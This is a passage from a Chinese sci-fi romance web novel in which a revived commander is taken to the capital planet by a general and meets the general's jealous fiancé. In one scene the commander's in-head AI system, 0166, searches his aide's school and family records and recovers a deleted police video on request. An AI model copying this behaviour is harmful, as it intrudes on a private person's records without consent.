八岁的时候,余逢春曾在军校训练时被一个比他大10岁的人一脚踹到肚子,那时候的感觉,和现在差不多。
“我要吐了。”他告诉0166,“你能别录吗?”
0166:[……]
真烦这种死要面子的人。
然而余逢春并没有吐出来,在摔出控制仓的一瞬间,一双手等候已久的手就从旁边伸过来,稳稳地把他接住,搂进怀里。
余逢春额头上布满冷汗,擦在邵逾白身上时,洇出一片暗色的水痕,他身上一点儿力气都没有,并且在无意识地颤抖,这种反应无法靠药物缓解,只能自己硬抗。
邵逾白没有办法,只能把他抱得更紧,两人就这么搂抱拖拽着往旁边移动。
控制中心内部过于安静,邵逾白能听到余逢春牙关打颤的声音。
抱着人在旁边坐下以后,邵逾白短暂查看了一下余逢春的情况,手指抵住人的唇瓣,低声哄道:“张嘴。”
余逢春知道他要干什么,但因为哆嗦得太厉害,没法说话,只能用眼神瞪他。
邵逾白全当没感觉到,继续哄:“张嘴,不然你会咬伤自己。”
我才不会,你以为我多大?
余逢春心里想,忍不住张嘴骂道:“去你的……”
然而话音未落,趁着他双唇分开的那一秒钟,邵逾白动作迅速果断,直接把食指中指一起塞了进去,刚好压在余逢春的舌头上。
口腔瞬间被塞满,唾液顺着嘴角往下流,好像全身的控制权都交了出去,只剩下一副没有尊严也没有自由的躯壳。
余逢春恨死这样了,半点情面也不想给他留,牙关合拢,用力咬下去。
这么一下子,肯定是疼的,但邵逾白的唯一反应就是闷哼一声,连眉毛都不曾皱一下,仍然稳稳当当地把手指留在余逢春嘴里。
血腥气在嘴里蔓延,唤起很多不好的回忆。
余逢春知道他不会收手,便干脆停下反抗,浑身瘫软地缩在邵逾白怀里,闭上眼睛,眼不见为净。
太久没见,余逢春都忘了,主角是个控制狂来着。
抱着余逢春的感觉,像是在抱一把骨头。
一直是这样。
控制中心因余逢春的昏迷而陷入短暂的寂静,邵逾白将他抱在怀里,微微调整了一下姿势。
余逢春的左手从邵逾白肩头滑落,垂在身旁,露出一截光洁的腕子。
干净的、白皙的、轻松的。
邵逾白眸光微动,小心翼翼地将他的手腕圈在掌心,仿佛丈量大小般,食指拇指在他手腕圈成圆环,稳稳当当。
“……”
余逢春在昏迷中感受到了他的姿势,很不舒服地动起来。
他一直不喜欢别人碰他的手腕,尤其邵逾白。
或许与旧日的事有关。
作为带罪上战场的指挥官,余逢春的手腕上一直有圈银色的控制器,像精致的手环,只是里面藏着强效电击和定位装置,由联盟中央专门制作,一旦控制器与密匙之间超出规定距离,内部装置就会立刻生效,将他控制。
针对余逢春的文件上明文规定,除进入指挥舰外,余逢春必须24小时佩戴控制器。
因此有许多次,是邵逾白亲手将控制器扣回余逢春手上——
——离开指挥舰的余逢春总是很累,眼尾常常会泛起一层恨且无力的红晕。他坐在集装箱表面,貌似驯顺地盯着地板,连动都懒得动一下。
而邵逾白跪在他脚边,一只手钳住余逢春的手腕,单手解开控制器,谨慎小心,像对待最精密的仪器,将它严丝合缝地扣在余逢春的左手手腕。
余逢春很瘦,邵逾白可以很轻松地圈住他的手腕,那种感觉好像圈住一只颤抖着振翅的白鸽,微弱的脉动回荡在他掌心,很快又被另一种冰冷的克制取代。
冰凉的金属触感激得余逢春手指哆嗦了一下,他无意识地挣动着,想要逃离,却毫无作用,邵逾白仍然将他死死握在手里。
“去你的,邵逾白。”余逢春放弃抵抗,看着自己被束缚被囚困,开口骂他,声音里
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有很多恨和无助,“□□的。”
……
余逢春在昏迷中停下了颤抖,邵逾白把手指从他嘴里抽出来,鲜红渗血的牙印刻在他的指节上,血滴顺着指尖滴到地上。
邵逾白只看了一眼,便毫不在意地将余逢春抱的更紧。
他很小心地将脸埋在余逢春的肩膀那里,神色是难得一见的眷恋。
你累不累?
你的身体好不好?
你想跟我回中央星吗?
……
他从心里问了很多,酝酿了很多,铺垫了很多,但都不是他真正想知道的。
他有个问题,很想问,但不敢问,只能默默从心里说一万遍,强行将所有渴望压下去。
你怎么回来?他想问余逢春,眼中划过那如刀剑一般锋利的伤疤,那杀死余逢春的伤口,要将邵逾白一起带走。
……你真的回来了吗?
身体感受到的温度和心跳不似作伪,邵逾白留恋地聆听着,几乎要抱着余逢春蜷缩成一团,在他颈间留下极谨慎极慎重的一吻,肢体语言中透露出很少见的脆弱。
最失态的人往往会假装淡定。
*
*
*
余逢春清醒过来以后,觉得自己被一辆重型机甲撞了百八十里地。
“我说真的,”他很虚弱地和0166瞎扯,“我再也不想开机甲了。”
0166:[不开也行。]
“好疼啊,好恶心,”余逢春继续说,“能不能申请帮我屏蔽一下?”
0166:[可以。]
它应得太干脆,余逢春觉得不对劲。
“你怎么回事?”他很警觉,“做什么对不起我的事了?”
[……]
“你把我刚才吐到满地的样子传到系统空间去了?”0166不答,余逢春便开始到处猜,“还是花了我账户里的钱?”
[我没有。]0166否认,没有因为余逢春的胡乱揣测恼羞成怒。
这就更不对劲了。如果说余逢春之前的警觉还有点开玩笑的意思,在那0166这三个字一说出来,余逢春瞬间就感觉身上的毛都炸开了。
不对劲,有万分的不对劲。
“你别吓唬我。”他认真地说,“我昏迷的时候出什么事了?”
[你只昏迷了7分钟,什么事也没有。]0166说,鼓捣一阵后,它发出叮的一声响,[屏蔽生效,你可以睁眼了。]
刹那间,余逢春只觉得神清气爽。
只是疑虑的阴云仍然盘在心头。
余逢春很确定0166有事瞒着他,而且跟他昏迷有关。
“你到底看见什么了?”他最后一次问,“邵逾白冲我吐口水?”
余逢春很豁达:“吐就吐呗,我以前光折腾他,他心里有气也正常,不过人还是个好人的。”
0166:……
是,他是好人,全世界就他最好,而你是个瞎子。
0166觉得再说自己可能要气出毛病,匆匆挂了一个待机提醒,自己下线了。
余逢春睁开眼,发觉自己正躺在飞行器后座,邵逾白的大腿上。
“这是去哪儿?”邵逾白的大腿躺起来很爽,余逢春懒洋洋地翻了个身,不肯起来。
“通讯恢复了,外接航道也恢复了。”邵逾白说,“我带你去中心港口。”
余逢春眯起眼睛,瞧到了在前排几乎要缩成球的副官。
之前他和邵逾白整那么大阵仗,瞒得过星球外的人,却瞒不过第七军的自己人,恐怕副官他们已经知道余逢春的真实身份了。
难怪吓成这样,余逢春以前的名声可不好。
乱七八糟地想了一会儿,余逢春回归正题,问头顶的人:“我也去?”
邵逾白“嗯”了一声,从余逢春的角度,只能看到他线条优越的下巴。
“现在离开是最合适的,你想去哪儿?我给你安排。”
“没想过。”余逢春说,“哪里对我都一样。”
“中央星可以吗?”邵逾白问。
余逢春闻言掀起眼皮向上看。
邵逾白不肯看他,眉眼神色藏在将明未明的阴影中,瞧不出明晦,但紧抿的唇角暴露出他的心绪起伏。
这不是一个随意的问题。
“……行啊,”片刻后,觉得沉默的时间够了,余逢春悠悠道,“去哪都一样。”
“好。”
邵逾白点头应道,认可了他的观点。
于是本来匀速前进的飞行器开始加速。
余逢春闭上眼睛,脑子里想起异族临死前说的话。
鸟飞进更大的囚笼。
10. 穆怀
既然跟邵逾白走,那就没必要去中心港口走流程了。
余逢春躺在邵逾白大腿上,几乎感受不到路况颠簸,加上一路上都相当贴心地替他按摩太阳穴缓解不适,余逢春很快就再度昏昏欲睡,什么都不关心。
然而一路的通畅终于还是在即将驶入港口时被打断,副官坐在前排,不知看见什么,原先蜷缩的后背瞬间挺直,语气凝重:“将军,前面有人。”
港口附近的无关人士均被遣走,照理应该是一路空旷,但此时却多了一队人。
何所行将数台飞行器横在港口入口,自己带着一帮人堵在路中央,脸色阴沉,显然是有备而来。
余逢春坐起身来,没骨头似的靠在邵逾白肩膀上把他当人形扶手。
“他好像快气死了。”余逢春点评。
他没说的,是何所行看他的眼神像心碎的丈夫,这让余逢春感觉很怪。
何所行的脾气有时候很像个小孩,因为别人不带他玩而赌气发火。
邵逾白并不意外,隔着一段距离与何所行对视片刻,而后问余逢春:“想和他聊聊吗?”
“……”
余逢春没说行也没说不行,只稍微调整了一下姿势,拉开车门跳下去。
向前走了几步,他忽然想到什么,转身点了点邵逾白。
“不许跟过来。”
“……”
邵逾白向下迈的腿又收了回去。
凌晨的坦尾星,风刮得格外冷。
人工大气层的修复迫在眉睫,若隐若无的噪音与风声混在一起,构成了边境星球最寂寥的一天。
一切还和昨天一样,看不出死里逃生的痕迹。
余逢春空出手理开被风吹到眼前的头发,一边走一边拉紧衣服抵挡夜风
何所行本只靠着车冷眼瞧着,见他冷,想都没想便凑过去,一边用身体替他挡风,一边伸手扯过副手递来的大衣,利索抖开后披在了余逢春肩头。
“怎么虚成这样?”他皱着眉问,不见往日的轻浮,“六年没把身子养好?”
余逢春咳嗽两声,把大衣裹紧:“我哪来的六年?”
何所行以为他诈死逃生,去随便什么地方过了六年安生日子,但只有余逢春自己知道他现在这具身体就是系统硬拼出来的,能用就了不得了,怎么还指望康健平安?
“不说这个。”何所行沿着他往避风处走,“你们这是去哪儿?”
“中央星。”余逢春说。
“中央星有什么好的?”何所行落后他半步,手掌若有若无地贴在余逢春腰侧,“跟我走呗,我带你去域外逛逛,你什么都不用操心。”
余逢春闻言道:“跟着你?看你睡遍全世界?”
这话说得不算好听,换别人,何所行早生气了。
但余逢春说这话时眉眼微挑,发丝隐约下,眉梢眼角多了几分细而锐利的弧度,加上苍白侧脸上难见的微红,连刻薄的眼神都像挑动。
何所行生不起气。
“你要是跟了我,就没全世界的事了。”他不自觉就说。
闻言,余逢春倏然笑了。
狂风大作下,只有他们站立的一处还有些许宁静,但微风浮动时,仍然将余逢春的发丝连同衣摆吹起,他的笑里多了几分苦恼,但仍然是愉快的,于生动凌乱处显出些许自由。
何所行从未见过。
笑完之后,余逢春开口:“其实去哪里,对我都一样。”
“那——”
“——但你那儿我是不准备去的。”
何所行愣了愣:“为什么?”
余逢春不答,只躲开他揽在自己腰间的手,然后拽着何所行的袖子,示意他往远处看。
邵逾白正站在飞行器边上,朝这边看来。
他听余逢春的话,没有过来,但似乎是按耐不住心里的忧虑,还是下了车。
余逢春不能说出与任务有关的字词,因此只能把主角指给何所行,让他自己领悟,但何所行领悟了一会儿,好像领悟了点儿别的什么。
“就瞅着他一个人了,是不?”何所行很不爽,“他也就当狗当的好点,没什么了不起的。”
“……”余逢春不理解何所行哪来的那么大的恶意,从见面开始就一直骂邵逾白是狗,忍不住替他解释,“他不是狗。”
“怎么不是?”
余逢春:“他快要结婚了。”
何所行的脸色像是被炮弹轰过似的,特别难看,沉着嗓子问:“和谁?你?”
余逢春摇头:“不是,是个姓穆的孩子。”
何所行:“……”
脸上的恼怒烦躁一瞬间烟消云散,何所行摸着下巴,饶有兴味地打量着余逢春。
“他要结婚了,”他向余逢春提问,“和一个姓穆的,你什么感觉?”
余逢春:……?
这哪里来的破问题?余逢春照抄以前的答案:“就那样,他也到了该结婚的时候了。”
闻言,何所行相当幸灾乐祸地挑起眉毛,和他确认:“没不高兴吗?”
余逢春疑惑:“我为什么要不高兴?”
何所行笑了,笑得很爽。
“草,”他一边笑一边抹了把脸,“我以为我够倒霉了,没想到更倒霉的在这儿呢!”
语罢,像是放下了某种执念,他蹲下身,给余逢春系上大衣的扣子。
余逢春心安理得地接受他的伺候。
“在联盟待够了随时找我,我接你出去玩儿。”系完扣子,何所行说,“还有,我得提醒你一句。”
“什么?”
“别以为狗都是老实听话、你一叫就晃着尾巴冲你扑过来的,其实很多心眼都坏得很,只不过会装,把你给骗了。”何所行说,“等到哪天,他想咬你,不咬个疼的是不会撤嘴的。”
余逢春皱眉:“你在说邵逾白吗?”
何所行:“那可是你自己以为的,我什么都没说。”
他站起身,挡在余逢春前面,越过避风点,目光撞上远处邵逾白投来的沉沉视线。
两人的交流是无声的,但同样也是剑拔弩张的,何所行勾起嘴角,咧开一个笑,像是在笑他脑子有病。
邵逾白不答,只朝他们走来,把余逢春被风吹的冰凉的手握住,揣进口袋。
“我们走吧。”他对余逢春说。
余逢春还在想何所行最后说的话,直觉里面有别的意思,想得很深,因此漫不经心地点头,任由邵逾白牵着自己走。
正要踏上飞行器时,何所行忽然在那边大喊:“新婚大喜,百年好合!”
余逢春瞥过去,何所行已经上了飞行器,只留给他们一个车尾巴。
“他恭喜你呢!”他告诉邵逾白。
而邵逾白只是皱眉道:“他有病。”
俩人都觉得彼此有病,这怎么不算一种默契?
余逢春笑笑,也上了车。
*
*
*
登舰以后温度回升,余逢春脱了大衣和外套,丢在地毯上。邵逾白跟在他身后,把外套叠好挂在一旁,把大衣交给身后副官,拿去销毁了。
余逢春都看见了,但都当没看见,往比他人还长还大的沙发上一躺,动作熟练地招呼机器人上点心,没有半点客人的自觉。
好在也没有人把他当客人。
邵逾白先去处理堆积的工作和军方派来的问话,暂时离开了,留下副官陪余逢春。
副官看着年纪不大,也就二十来岁,面容还很稚嫩,性格挺活泼的。
他对余逢春很好奇,但好多次都只是盯着他欲言又止,没张开嘴。
余逢春休息好了,脾气就好,舰船起飞后没多久,他就顺着副官的意,先张开了嘴。
“你叫什么名字?”他问。
副官猛的挺直后背,声音有点磕巴:“我、我叫阿克苏!”他看起来挺激动的。
余逢春觉得有意思,又问:“你是什么时候入伍?”
“新历一年!”副官立即答道,“余先生,我特别崇拜您,真的!我在军校的时候学过您的经典作战,包括在马落β星系的1号围剿,教授分析了好几堂课,我还以此撰写了我的论文……”
不知什么时候解除待机状态的0166突然道:[他是你的粉丝。]
余逢春:“这显而易见。”
一个很眼熟的机器人端着点心送上来,余逢春拿了一块放进嘴里,余光瞥到副官脸上心虚的表情。
“没事,我不会追究你们往我家安监视器的事的。”余逢春说,“联盟现在怎么样?”
副官沉默,仿佛在组织语言。
片刻后,他道:“不是很好,上将很辛苦。”
很辛苦,还有空跑到坦尾星参加拍卖。
0166适时道:[他在打感情牌。]
余逢春眉毛微挑,0166说话腔调又恢复正常了。
具体哪里辛苦,副官没有多说。和余逢春聊天时适当讲点,是他的个人情感,点到即止,则是军队纪律。
余逢春很赞同。
“我到中央星以后住哪儿?”他问出最后一个问题。
副官眨眨眼,似乎没有预料到:“这个……”
“这个我会安排。”
身后刚应付完军方问询的邵逾白开口。
余逢春从沙发上回过头,端着点心递过去,象征性的贿赂他:“我要住大房子。”
邵逾白:“好。”
副官起身敬礼,离开房间。
邵逾白坐在余逢春手边,像是早就准备好一样开口道:“你原先的部下大多被打散后编入了其他部队,有几个还在我手下,如果你想,我可以安排他们见你。”
“不用了。”余逢春拒绝,“就让他们觉得我死了——坦尾星的事都处理好了吗?”
“处理好了。”邵逾白说,“你放心。”
“我没什么不放心的。”余逢春说。
他又有些困了,身体太过虚弱,气血不足,容易犯懒犯困。
“我得睡一觉,到了叫我。”
说完,余
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逢春起身,把吃了几口的点心留在桌子上,自顾自地找了间卧室进去。
他累得很,不想关心其他,因此没有注意到邵逾白看向他时隐含担忧的眼神。
而这样的眼神已经出现许多次了。
……
他们到达中央星时,这颗星球正在经历一个黑夜。
舰船降落时激起的狂风在无人的空地上席卷而过,余逢春穿好外套,站在接驳口时,邵逾白从后面披来大衣,是新的。
“何所行那件呢?”余逢春问。
“拿去洗了。”邵逾白道。
余逢春点头,0166突然从他脑子里冷笑一声。
“你怎么了?”余逢春问,系统不答。
余逢春相当疑惑,怎么今天一个两个都神经兮兮的?
舰船接驳成功,余逢春向后躲开冷风,扯着嗓子问:“我到底住哪儿?”
“给你安排好了,”邵逾白亲手拉开舱门,“阿克苏会带你去!”
冷风呼啸,站在接驳口等待舰船落地,这对余逢春来说是非常新鲜的体验——以前他只能和邵逾白一起待在舰船内部,等卫兵确定没有威胁以后,才可以动身。
“你以前有这样过吗?”他问。
邵逾白摇摇头,余逢春说得不清不楚,但他明白。
“没有,第一次。”
余逢春笑得更开心些。
离开舰船,刚落地,两人便看到远处有个快速移动的黑影。
提前下船的阿克苏就急匆匆地跑过来,神色略微慌乱。
“上将!”
邵逾白停下脚步:“怎么了?”
“是、是那谁,”阿克苏喘着粗气说,“穆小少爷不知道从哪儿听来的风声,过来接你了!”
话音落下,全场最敏锐的0166率先察觉到:[来了!]
余逢春抬起头,刚好看到一众人拐过拐角,浩浩荡荡地朝他们走过来,走在最前头的那个神色急切,正是传说中邵逾白的未婚夫。
穆怀。
作为穆锋的儿子,穆怀和他长得并不像,一双眼睛圆润黑亮,皮肤白皙,一副没受过苦的娇嫩模样,看见邵逾白后隔老远,脸上便浮现出一层羞涩的红晕。
“邵将军!”他大声喊。
邵逾白停下脚步,很有礼貌地和他问好:“小少爷。”
穆怀的笑更大了些,眼神亮亮的。
余逢春站在边上,瞧瞧这个又瞧瞧那个。穆怀显然是很开心的,兴奋又羞怯,说了很多话,邵逾白都听着,只是余逢春竟没从他脸上看出多少欣喜,最多有几分应付的冷淡。
“……这位是?”
单方面聊了一会儿后,穆怀终于注意到了站在旁边的余逢春。
“穆小少爷你好,”余逢春上前一步,“我叫江秋。”
伸出的手在冷风中稳稳停着,指尖冻得发白,穆怀挑剔审视的目光在余逢春身上来回,晾了好一会儿后,才不太情愿地和他握手。
“你好,是逾白带你回来的?”
余逢春基本没听过别人这么叫邵逾白,愣了一下:“是的。”
“哦,”穆怀笑了,松开手,“挺好的。”
关注全程的邵逾白在此时开口。
“我让阿克苏送你过去。”他对余逢春说,声音低缓。
余逢春应了一声,阿克苏迅速上前,带他走了另一条路。
[你现在什么感觉?]0166问。
余逢春回头看去,穆怀和邵逾白挨得很近,头几乎要靠在他肩膀上。
“很怪,”余逢春收回视线,重复并强调观点,“真的很怪。”
……
与邵逾白分开后,穆怀刚坐上飞行器,身边边人连忙递了一块消毒手帕,跪在脚边战战兢兢地帮他擦手。
和一个从没见过的下等人握手,是穆怀基本不会做的事情,今天若不是当着邵逾白的面,那个叫江秋的的连碰他一下都没资格。
“去查一下,今天跟着邵将军来的那个人是谁,”穆怀盯着窗外邵逾白的背影,分出心神吩咐道。
“我要知道他的名字,出生年月,怎么和邵逾白遇见的,现在住在哪里,一切我都要知道。”
下属犹豫着:“这恐怕不是很容易。”
“不容易就去找父亲!”穆怀尖声道,把手帕扔在下属脸上,情绪激动。
“他突然离开中央星,去那么远的地方,还带回一个从没见过的人,里面一定有问题!”
况且那件江秋披着的衣服,穆怀见过一次,是在邵逾白身上。
邵逾白不是那种把自己的衣服随便给别人穿的人,穆怀都快要和他订婚了,里外还如客人一般——江秋和他离得那么近,还穿他的衣服,凭什么?!
“去查,一定要查!”
飞行器驶过隧道,投下的阴影让穆怀脸上狰狞的表情更加可怖,清纯的面容似恶鬼一般。
他着魔似的喃喃自语:“谁都不能从我手里夺走他……谁都不能……”
谁要是想夺,就去死。
11. 隐瞒与赦免
云阙是中央星中心区建成的新式庭院,住户数量少,环境雅致静谧,居所悬浮半空,周身环绕着极璀璨的行星碎屑,通体线条流畅,富有科技感。
余逢春被送到一处住所的门口,阿克苏停在门口,没有进去的意思。
“来之前,您的信息已录入进系统中了。”他说,“不过放心,只是很基础的信息,不会涉及其他那些更复杂的问题的。”
说到“复杂”时,他还抬手比了一个引号,很活泼。
余逢春前后打量,片刻后对着他笑笑,拉开门。
“你会做饭吗?”他问。
阿克苏愣愣点头,余逢春当即抵住门:“进来做饭,我饿了。”
这是个阴谋,因为门就在眼前开着,上将家里那只几百年没用过的家政机器人正非常渴望地朝他们走来,余逢春不用机器人,反而要让一个没见过几面的人下厨。
也不怕被毒死。
但偶像要求,加上上将之前嘱咐过,阿克苏无力拒绝。
晃晃悠悠地走进门,无需指引便自动找到了做饭的地方。
阿克苏蹲在角落的柜子里翻了好久,终于找到一条建筑方赠送的简陋围裙。
小机器人心都碎了,在门口吱哇乱叫着,不肯离开,还是余逢春手动给它调了个方向。
房子里食材很多,问过余逢春忌口以后,阿克苏挑了几样摆在案板上,动作异常熟练。
余逢春看出什么。
“你是下层出身?”他问。
阿克苏停下动作看他,余逢春连忙平举两只手:“别误会,我没有那些歧视的臭毛病,只是看你很熟练。”
阿克苏笑笑。
“我知道您没有。”他说,将手下的肉类清洗干净,“而且我不是很在意这些。”
“是吗?”
“是啊,他们看不起我又能怎样?我现在生活的很好,而且以后会越来越好。”阿克苏说,年轻的脸上意气风发,是一种少年人才有的英俊,“我家里人都为我骄傲。”
“如果我是你的家人,我也会为你骄傲。”余逢春说。
阿克苏闻言停下手中动作,盯着他看了一会儿,然后脸红了。
他长得很有混血风情,浓眉大眼,脸红的时候很英俊,余逢春很欣赏这种长得好看的孩子。
或许是意识到自己此时的脸红有些不合时宜,阿克苏连忙低下头,像转移话题一样胡乱说:“我考进联盟军校那年,上将来学校参观演讲来着,他带来了一部分当时的作战影像,里面就有您的一部分。”
“啊,还有我的事?”余逢春挑起半边眉毛,“我还以为他们会当世界上没有这个人呢!”
“是啊,”阿克苏慢慢地说,“我也是那天才知道的,后来可能是觉得既然瞒不住,不如公开,然后我们才开始学习您的作战风格。”
余逢春觉得挺好,联盟也没真脑子进水,当然,大功劳要归在邵逾白身上。
闲聊很有意思,余逢春喜欢这种不动脑子的感觉,阿克苏刚把稻米下锅,余逢春从外转悠一圈,带着一杯橙汁回来。
“觉得上学好还是工作好?”他问,浑然没有意识到这个问题常常出现在家族聚会的餐桌上,而且一般是由喝高了的老男人说出口。
阿克苏是个好人,非但没有不耐烦,还认真地考虑了才说:“上学的时光真的很好,但我还是喜欢工作。”
余逢春:“我如果诱导你说上司的坏话,会不会显得我很刻薄?”
“会。”
“那我不问了。”余逢春想了一下,“我上学时,学校的最后一年会安排模拟作战,整个学校的毕业生都会去,按排名分析,也分日后去哪里。”
余逢春当时的表现算不上很出色,被第七军的一个将领挑走,吃了很多苦,才有了后来的成绩。
“你当时排第几名?”他问。
……
吃完饭,余逢春绕着房子上上下下走了几圈,不出意外地发现里面有别人住过的痕迹。
邵逾白是个物欲很低的人,睡觉只要一张床,吃饭只要一个碗,因此这套房子里一点多余的装饰都没有。
要不是余逢春偶然在主卧衣柜里找到两套替换用的衣服,真的很难想到邵逾白也曾在这儿住过。
0166默默看着他将衣服翻出来摊在床上,然后又去其他几个房间查看,来回翻腾,把原先整洁的房间折腾邋遢,家政机器人跟着他一路走一路收拾,急得脑门直冒蓝光。
[你在找什么?]0166终于忍不住。
余逢春停下推门的循环。
“不对劲,”他说,“哪里都不对劲。”
[怎么说?]
“你注意到我刚才问阿克苏排名的时候,他的表情了吗?”余逢春说,“他说他排名不靠前,但在回答这个问题之前,有大概半秒钟的时间,他的嘴唇有抿紧的趋势,而且眼神朝下。”
这个表情的意思是回忆,不满,怨怒。
0166调取录像回放,发现确实是这样。
[能证明什么?]
“能证明他可能撒谎了。”余逢春说,回到主卧,把衣服叠好放回衣柜,“你能查一下他吗?”
[阿克苏在军校的学习履历?]0166确认,[还有吗?]
“还有他家的情况。”余逢春说,“他提家里人的时候表情也不太对劲。”
0166无言照办,进入检索程序,这需要一些时间。
趁此功夫,余逢春去浴室洗了个澡。
舒舒服服躺在床上以后,时间已接近凌晨。
云阙的地理位置相当优越,加上住户身份地位高,虽处在中心,但周围的区域被特意隔开,留出了赏景和隔音的空间。
眼下云层渐叠,颜色非常好看,余逢春埋在被子里,把自己团成舒舒服服的一团,昏昏欲睡。
系统“叮”的一声把他叫醒。
[结果出了。]0166道,[你想先听哪个?]
余逢春打了个哈欠:“学校吧。”
[联盟军校的档案显示,阿克苏没有修完全部学分,他在军校的第四年上学期申请了退学。]
余逢春悄然睁开眼睛,眼中睡意全无。
“没有写原因吗?”
[没有,但在他申请退学的前几个月有过一次处分,说他在校内寻衅斗殴,影响恶劣。]
“和谁?”
[穆联城。]
穆锋的大儿子。
余逢春眉毛皱紧,几乎要拧成疙瘩:“那他家里呢?”
[本该是一家四口,父亲、母亲和妹妹,但现在只剩下一个父亲了。]
“怎么回事?”
[是意外车祸,]0166说,[警方卷宗上记载,他的母亲和妹妹外出购买物资的时候,孩子乱跑,结果正好撞上一辆正常行驶的飞行器,母亲追女儿,也被撞到了。]
“让我猜猜,”余逢春缓缓道,“那辆飞行器是穆家的。”
[这个卷宗上没有表露,但我查到了一份被删除的录像,根据飞行器上的标识追踪……]
0166有片刻停顿,随后肯定了余逢春的猜测。
[确实是]
心中不好的预感瞬间成真,余逢春瞪眼看着天花板,半晌后徐徐吐出一口气。
“你觉得,”他慢慢地问系统,一字一句都很认真,“一个脑子进了多少水的人,才会提拔一个跟自己老丈人家有仇的副官?”
0166:……你凭什么说穆锋是他老丈人?这个世界的人都瞎了吗?
余逢春是瞎子之王。
[不知道,]0166心烦意乱,语气很冲,[可能以前打仗的时候撞到脑子了吧。]
余逢春点头,认真思考0166给出的解释。
最后他肯定道:“也不是没可能。”
0166更烦了,转头挂上待机提醒,自己下线了。
第二天傍晚,邵逾白回到云阙。
绕过一片分割开的花园,邵逾白貌似无意地朝四周看去,目光在触及点点骤然亮起又快速熄灭的白光时微微收敛,神色平静。
中央星近些天的白昼很短,邵逾白停在车道上时,看到屋子里整个是黑的,余逢春把所有灯都关掉了,只有小机器人脑袋上的蓝光偶尔闪烁。
睡着了?
邵逾白短暂地回忆一下这些天余逢春睡了多久,本能觉得对他身体不好,又想到或许久睡也是因为身体不适,更加担心。
推门进房,家政机器人迎上前,邵逾白弯下腰,盯着它脑门上的显示屏问道:“他怎么样?”
机器人没那么聪明,只知道在主人面前疯狂转圈,表达欢迎回家的喜悦。
好在邵逾白也没真的期待它的回答,抬手按停机器人的转圈,
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他脱下外套,一边整理一边走向室内。
“我还以为你今晚不回来了。”
声音从稍高一点的方向上传来,邵逾白抬起头,看到余逢春正坐在楼上台阶那里,披着一件从柜子里翻到的天蓝色毯子。
他像是洗完澡以后在楼梯上睡着了,刚被邵逾白回来的声音惊醒,睡眼惺忪,头发凌乱地到处翘着,天蓝色的毯子是用粗的毛线编织而成,披在他身上时显得很柔软。
夜色都变得宁静。
邵逾白缓缓停下脚步,停在楼梯口,不再向前,余逢春低头与他对视。
光线晦暗,肉眼总有些细节看不真切,邵逾白试图更仔细些,却只能依稀分辨出余逢春嘴角柔软的弧度。
“你也住在这里。”余逢春说,语气很肯定。
他当然会发现邵逾白留在这里的痕迹,余逢春是一条嗅觉相当敏锐的蛇。
“是。”
“你当时说给我安排房子的时候,我以为是说让我一个人住。”
“我手里没有太多积蓄。”邵逾白说,“这里是最好的。”
余逢春盯着他瞧,摇头:“不是。”
邵逾白低头藏住笑:“那你困了吗?”
“没有。”
“你肯定困了。”邵逾白说,抬腿向上走去,“你睡不饱的时候就这样。”
随着距离的拉近,两人之间本不明显的身高差骤然鲜明,余逢春很不适应从低头俯视到仰头的变化,但懒得反抗,只是把毯子裹得更紧,保持很舒服的姿势。
“怎么样?”他问。
“这样。”邵逾白说,弯腰试图将他抱起,“我们在3号边区巡逻的时候,你三天没睡,到后面,你坚称你的脑子里有只畸形丑陋的异族,记得吗?”
“真的有。”余逢春打了个哈欠,“又丑,毛病又多,还以为自己很懂文学。”
“好的,我知道了。”
邵逾白有经验,明白这时候不能和他犟,一边应付一边摸到他的膝下,让余逢春把手搭在自己脖子上,保持好平衡后,腰肢用力,把人抱了起来。
高度改变,余逢春脑袋晕晕的。
他确实没怎么睡觉,想阿克苏的事想了好久,把睡意都耗没了,只能在床上到处乱滚。
等后来琢磨着差不多到了邵逾白回来的时间,他才起来,在楼梯上等到现在。
邵逾白身上还沾着一丝未干的凉意,很冷,但他的胸膛是宽阔的,倚着很舒服,抱得也很稳,余逢春又晕又困,躺得心安理得。
他们以前经常这样,唯一的不同点大概是以前身上总是沾着点血呀呕吐物呀什么的,余逢春早就习惯了。
邵逾白连人带毯子抱进主卧,果然看到床上的被子乱成一团,中间窝出个人形。
把余逢春放下,像自动导航一样,余逢春连眼睛都不必睁一下,直接便找到了那块最适合睡觉的位置。
毯子就在邵逾白手里,叠成方块以后放在旁边的枕头上。
“睡吧。”他低声道,看着余逢春困倦地合上双眼。
迈步离开,走到房间门口时,邵逾白听到身后传来翻身声。
余逢春坐了起来。
“为什么要和我住在一起?”他再次问。
邵逾白张嘴想要回答:“……”
“——不,别说什么没钱,”余逢春打断他,“我不信。”
“好吧,”邵逾白说了实话,“这样安全。”
“……”
“我可以保护你。”
余逢春问:“外面那些人也是为了这个?”
邵逾白看去,昏暗的房间里,余逢春盘腿坐在床上,眼眸明亮。
他问得很平静,语气接近没有起伏。
——他当然会发现邵逾白安排好的卫队,余逢春从来都是清醒地意识到自己的困境。
“是。”邵逾白说。
“首都星真有这么危险吗?”余逢春又问。
“……是。”
“……”
长久的沉默。
余逢春坐在床上,陷入安静的思索中。他的视线飘得很远。邵逾白不再挪步,他甚至无法移动,只能停在原地等待审判。
良久后,余逢春眨眨眼,倒回床上。
“我知道了。”他说。“晚安。”
所以这就是他的回答。
邵逾白被赦免了。
12. 这是一个标题
厨房里的饭香把余逢春唤醒。
邵逾白刚把早餐端上桌,就看到游魂一般的人晃悠悠地爬下楼梯,那块天蓝色的毯子不知什么时候又回到他的肩膀上,像童话里精灵的披风。
“我饿了。”余逢春说。
他还没睡醒,眼睛要睁不睁,本能地把毯子裹得更紧,好像随时会倒地再睡一觉。
邵逾白凝视着他,观察着余逢春脸上神情的每一分变化。
片刻后,他点点头:“我知道。”
于是余逢春在餐桌前坐下,接过递来的盘子,低头吃起来。
他真的饿了,吃的很快,私心里,邵逾白觉得像小猪。
“……清醒了吗?”
等余逢春的吃饭速度慢下去,眼神也逐渐清晰,邵逾白才问。
余逢春点头,推开餐盘,把一旁的水杯拿来,仍然舒舒服服地窝在椅子里。
“我能出去走走吗?”他问邵逾白。
“当然可以。”
过于快速的应答让余逢春挑起眉毛:“真的?”
“当然,”邵逾白有些困惑,“为什么这么问?”
“没事,”余逢春摇摇头,随意地用手比了个没什么意义的手势,“就是你昨天晚上看起来挺担心的。”
邵逾白了然,道:“最近局势有些紧张,但还不至于到草木皆兵的地步。”
局势紧张?
余逢春问:“因为坦尾星的事?”
如果是因为异族的话,紧张也正常,谁知道死了一个以后,会不会再冒出一个?
然而邵逾白却否认:“不是。”
余逢春很有耐心:“那是因为什么?”
